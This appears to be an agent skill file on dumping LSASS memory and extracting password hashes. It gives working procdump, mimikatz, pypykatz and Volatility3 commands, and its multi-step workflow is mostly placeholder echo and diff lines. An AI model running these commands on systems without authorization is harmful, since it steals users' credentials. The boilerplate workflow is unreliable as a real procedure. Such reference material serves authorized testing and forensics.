<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
---
name: extracting-hashes-from-memory
description: >-
  Extract password hashes and credentials from process memory dumps, hibernation files, and live system memory using forensic techniques.
domain: cybersecurity
subdomain: password-cracking
tags:
  - memory-forensics
  - mimikatz
  - volatility
  - credential-extraction
  - lsass
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1003.001"]
  cwe: ["CWE-316"]
  tools: ["mimikatz", "Volatility3", "pypykatz", "procdump", "comsvcs.dll"]
---

# Extracting Hashes From Memory

## Overview

Extract password hashes and credentials from process memory dumps, hibernation files, and live system memory using forensic techniques.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `mimikatz` | Security tooling |
| `Volatility3` | Security tooling |
| `pypykatz` | Security tooling |
| `procdump` | Security tooling |
| `comsvcs.dll` | Security tooling |
| Isolated lab environment for testing | Environment requirement |
| Authorization and signed Rules of Engagement (RoE) | Environment requirement |
| Relevant target samples or systems acquired through authorized channels | Environment requirement |

## Quick Reference

```bash
# Dump LSASS process memory
procdump.exe -ma lsass.exe lsass.dmp

# Extract with mimikatz
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" exit

# pypykatz offline analysis
pypykatz lsa minidump lsass.dmp

# Volatility3 memory analysis
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.lsadump
vol3 -f memory.dmp windows.cachedump
```

## Workflow

### Step 1: Preparation and Reconnaissance

```bash
# Identify target and gather initial intelligence
file ./target_sample
mimikatz --version 2>/dev/null || echo "Install mimikatz"

# Set up working directory
mkdir -p /tmp/extracting-hashes-from-memory/{output,logs,artifacts}
```

### Step 2: Primary Analysis

```bash
# Execute primary analysis with mimikatz
# Refer to Quick Reference above for detailed commands
echo "[*] Running Extracting Hashes From Memory with mimikatz..."

# Log all operations
script -q /tmp/extracting-hashes-from-memory/logs/session.log
```

### Step 3: Deep Investigation

```bash
# Apply Volatility3 for secondary analysis
echo "[*] Deep investigation with Volatility3..."

# Cross-reference findings
diff /tmp/extracting-hashes-from-memory/output/primary.json /tmp/extracting-hashes-from-memory/output/secondary.json
```

### Step 4: Documentation and Reporting

```bash
# Generate structured findings report
cat <<'EOF' > /tmp/extracting-hashes-from-memory/output/report.json
{
  "technique": "extracting-hashes-from-memory",
  "domain": "password-cracking",
  "tools_used": ["mimikatz", "Volatility3"],
  "findings": [],
  "recommendations": []
}
EOF
```

## Verification

- [ ] Environment and tools verified and operational
- [ ] Target samples acquired through authorized channels
- [ ] Primary analysis completed with findings documented
- [ ] Secondary validation performed with independent tooling
- [ ] All artifacts preserved in structured output directory
- [ ] Detection opportunities documented for blue team

## References

- [MITRE ATT&CK T1003.001](https://attack.mitre.org/techniques/T1003/001) — Related technique
- [mimikatz Documentation](https://mimikatz.org/) — Primary tooling
- [Volatility3 Reference](https://volatility3.org/) — Secondary tooling
